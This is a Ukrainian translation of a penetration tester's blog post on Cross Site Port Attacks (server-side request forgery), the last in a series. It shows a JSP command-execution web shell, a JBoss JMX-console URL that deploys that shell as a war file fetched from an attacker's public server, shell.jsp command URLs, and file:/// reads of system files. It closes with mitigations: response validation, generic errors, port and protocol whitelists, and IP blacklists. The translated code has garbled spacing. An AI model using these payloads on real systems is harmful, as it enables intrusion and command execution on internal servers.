- Атаки - атака внутрішніх вразливих веб-додатків
- Атаки - зчитування локальних файлів через обробник протоколу file: ///
- Як боротися?
- висновок
Багато веб-додатки дозволяють витягати дані з інших веб-серверів для різних цілей. Цим функціоналом можна зловживати за допомогою спеціально сформованих запитів.
Автор: Riyaz Ahemed Walikar
У двох попередніх постах ми побачили, що з себе представляють міжсайтовий атаки портів (XSPA) і які інші атаки можливо реалізувати на їх основі. Даний пост є продовженням попередніх і останнім в серії. Тут ми побачимо інші цікаві атаки, а також те, як розробники можуть запобігти XSPA або обмежити поверхню атаки.
Атаки - атака внутрішніх вразливих веб-додатків
Найчастіше в додатках інтранет безпеку відсутня навіть на самому базовому рівні, що дозволяє атакуючому отримувати доступ до ресурсів сервера, включаючи дані і код. Для звернення до інтранет-додатків з Інтернет необхідний VPN-доступ до внутрішньої мережі або спеціальна можливість з'єднання по тих же каналах. Однак, використовуючи XSPA, атакуючий може отримати доступ до вразливих внутрішнім веб-додатків через веб-додаток, що має вихід в Інтернет.
Дуже поширений приклад, який я бачив в ході багатьох пентестов, - наявність сервера Jboss, що має кілька вразливостей. Моя улюблена вразливість - відсутність за замовчуванням аутентифікації в JMX-консолі, запущеної на порту 8080.
Добре документований хак , Який використовує JMX-консоль, дозволяє атакуючому розгорнути war-файл, який містить JSP-код, що дозволяє виконувати на сервері команди. Якщо атакуючий має прямий доступ до JMX-консолі, то розгорнути war-файл, який містить наступний JSP-код, досить просто:
<% @ Page import = "java.util. *, Java.io. *"%>
<Pre>
<% Process p = Runtime.getRuntime (). Exec ( "cmd / c" + request.getParameter ( "x"));
DataInputStream dis = new DataInputStream (p.getInputStream ());
String disr = dis.readLine ();
while (disr! = null) {
out.println (disr);
disr = dis.readLine ();
}%>
</ Pre>
Використовуючи MainDeployer в jboss.system: service в JMX Bean View ми можемо розгорнути war-файл, який містить JSP-шелл. MainDeployer можна знайти за наступною адресою:
http: // example_server: 8080 / jmx-console / HtmlAdaptor? action = inspectMBean & name = jboss.system% 3Aservice% 3DMainDeployer
За допомогою MainDeployer, можна, наприклад, розгорнути на сервері файл cmd.war, що містить шелл. Доступ до Шеллу при цьому здійснюється за адресою http: // example_server: 8080 / cmd / shell.jsp. Команди можна запускати так: shell.jsp? X = [command]. Щоб зробити це через XSPA, нам, очевидно, потрібно замінити example_server на IP / ім'я хоста сервера внутрішньої мережі, на якому запущений JBoss.
Каменем спотикання для реалізації розглянутої вище атаки на основі XSPA є той факт, що розгортання файлів відбувається через POST-запити, тому ми не можемо сформувати URL (принаймні ми так думаємо), який розгорнув би war-файл на сервері. Однак, цю проблему можна просто вирішити, конвертіровав POST-запит в GET-запит. У тестовій конфігурації ми можемо визначити змінні, які надсилаються сервера Jboss при виконанні функції deploy компонента Main Deployer. Використовуючи ваш улюблений проксі або просто функцію "Convert POST to GET" доповнення "Web Developer" браузера Firefox, ми можемо побудувати URL, який дозволить розгорнути файл cmd.war на сервері. Потім нам потрібно буде лише розмістити файл cmd.war в Інтернет, щоб ми могли вказати його URL як значення параметра arg0. Підсумковий URL матиме Слуда вид (ми припускаємо, що JBoss крутиться на тому ж веб-сервері):
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
Використовуємо цей URL в якості вхідних даних для вразливого до XSPA веб-додатки, і, якщо програма відображає отриманий від бекенд відповідь, ми повинні побачити подібну картину:
Далі залишиться лише запросити shell.jsp через вразливе до XSPA веб-додаток. Наприклад, такі вхідні дані повернуть список вмісту папки на сервері JBoss (в припущенні, що він работет під Windows, для Linux можна використовувати x = ls% 20-al).
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
Ми успішно атакували внутрішнє вразливе веб-додаток з Інтернет через XSPA. Далі ми можемо використовувати отриманий шелл, щоб завантажити програму для установки зворотних з'єднань, яка дозволить запускати команди більш гнучко. Подібним чином через Інтернет можуть бути атаковані і інші внутрішні програми, вразливі до SQL-ін'єкцій, маніпуляції параметрами і іншим атакам на основі URL.
Атаки - зчитування локальних файлів через обробник протоколу file: ///
Всі атаки, розглянуті нами до цього моменту, використовують той факт, що вразливе до XSPA веб-додаток створює HTTP-запит до заданого атакуючим ресурсу. Протокол URL у всіх випадках задавався атакуючим. З іншого боку, якщо ми вкажемо обробник протоколу file, то, ймовірно, зможемо читати файли на сервері. Вхідні дані наступного формату змусять додаток зчитувати файли з диска:
Запит: file: /// C: /Windows/win.ini
Наступний знімок екрана показує читання файлу / etc / passwd на приналежному Adobe сервері через веб-додаток Omniture. Був зроблений запит file: /// etc / passwd. Adobe вже виправило цю проблему, а за її виявлення я потрапив в Зал Слави Adobe :
Як боротися?
Існує безліч способів боротьби з цією вразливістю, найбільш досконалі і поширені техніки перешкоджання XSPA перераховані нижче:
1. Обробка відповідей - перевірка на стороні сервера відповідей, отриманих від віддалених ресурсів, - один з основних способів боротьби з XSPA, який можна легко реалізувати. Якщо веб-додаток очікує від сервера певний тип вмісту, то перш ніж можна буде або обробкою даних для клієнта потрібно програмно перевірити, що отримані дані задовольняють заданим обмеженням.
2. Обробка помилок і повідомлень - в разі будь-яких проблем відображати для клієнта типове повідомлення про помилку. Якщо, наприклад, був отриманий невірний тип вмісту, слід відображати клієнту універсальне повідомлення на кшталт "Invalid Data retrieved". Також слід переконатися, що одне й те саме повідомлення видається як в разі отримання некоректних даних, так і в разі помилки в бекенд. Це запобіжить зловживання функціоналом додатки, оскільки для відкритих і закритих портів буде відображатися однакове повідомлення. І ні в якому разі необроблений відповідь, отриманий від віддаленого сервера, не повинен показуватися клієнту.
3. Обмежте можливість HTTP-з'єднання тільки базовими портами - це рішення не завжди буде кращим, але обмеження списку портів, до яких може робити запити веб-додаток, наприклад, 80, 443, 8080, 8090 і т. Д., Може зменшити поверхню атаки. Кілька популярних веб-додатків Інтернет просто видаляють з вхідного URL специфікації порту і з'єднуються з портом, відповідним оброблювачу протоколу (http - 80, https - 443).
4. Чорний список IP-адрес - внутрішні IP-адреси, специфікації локального хоста і внутрішні імена хостів можуть бути занесені в чорний список, що запобіжить зловживання веб-додатком для вибірки даних з відповідних пристроїв або їх атаки. Реалізація чорних списків захистить сервера від векторів одномоментних атак. Наприклад, навіть якщо вищеописані прийоми були реалізовані, дані все ще відсилаються на віддалений сервер. Якщо запущена атака, для якої не важливо бачити відповіді (на кшталт експлуатації переповнення буфера), то чорні списки дійсно зможуть запобігти попаданню небезпечних даних на вразливе пристрій. Обробка відповіді в даному випадку не знадобиться зовсім, так як відповідний запит так і не буде зроблений.
5. Відключення небажаних протоколів - дозвольте запити на віддалений сервер тільки за протоколами http і https. Білий список дозволених протоколів запобіжить відсилання веб-додатком запитів через інші протоколи начебто file: ///, gopher: //, ftp: // та інші URI-схеми.
висновок
Уже минув певний час з тих пір, як пентестери стали використовувати веб-додатки для виконання запитів до віддалених ресурсів, локальної мережі і навіть локальному хосту. Таке використання веб-додатків називалося по-різному: Server Side Request Forgeries (Маніпуляція запитами на стороні сервера), Cross Site Port Attacks (міжсайтовий атаки портів) і навіть Server Side Site Scanning (Сканування сайту з боку сервера). Однак, найважливіше уявити цей тип вразливостей спільноті і показати, що він є вкрай поширеним. В даному дослідженні було показано як можна використовувати XSPA для проксінг атак на віддалені сайти і локальні системи через вразливі веб-додатки.
Ми побачили, що XSPA можна використовувати для сканування портів віддалених, що мають вихід в Інтернет серверів, пристроїв інтранет і сервера самого уразливого веб-додатки. У деяких випадках також можливо отримати банери служб. XSPA також можна використовувати для експлуатації вразливостей в програмах, запущених в інтранет або на локальному сервері. XSPA дозволяють пізнавати веб-додатки за наявністю стандартних файлів і поведінки. Крім того, в деяких випадках можна атакувати внутрішні / зовнішні веб-додатки, які мають уразливості, засновані на ообработке GET-параметрів запиту (SQLi через URL, маніпуляція параметрами і т. Д.). Нарешті, XSPA був використаний для зчитування локальних файлів через обробник протоколу file: /// в веб-додатку Adobe Omniture.
Боротися з XSPA можна комбінацією чорних списків IP-адрес, білих списків портів і протоколів та коректною обробкою помилок, що приховує від клієнта зайві подробиці.
У кількох наступних постах я збираюся опублікувати пов'язані з XSPA проломи, знайдені в різних Інтернет-сайтах, які і підштовхнули мене до дослідження даної уразливості.
Jsp?Jmx-console/HtmlAdaptor?
Jsp?
Jsp?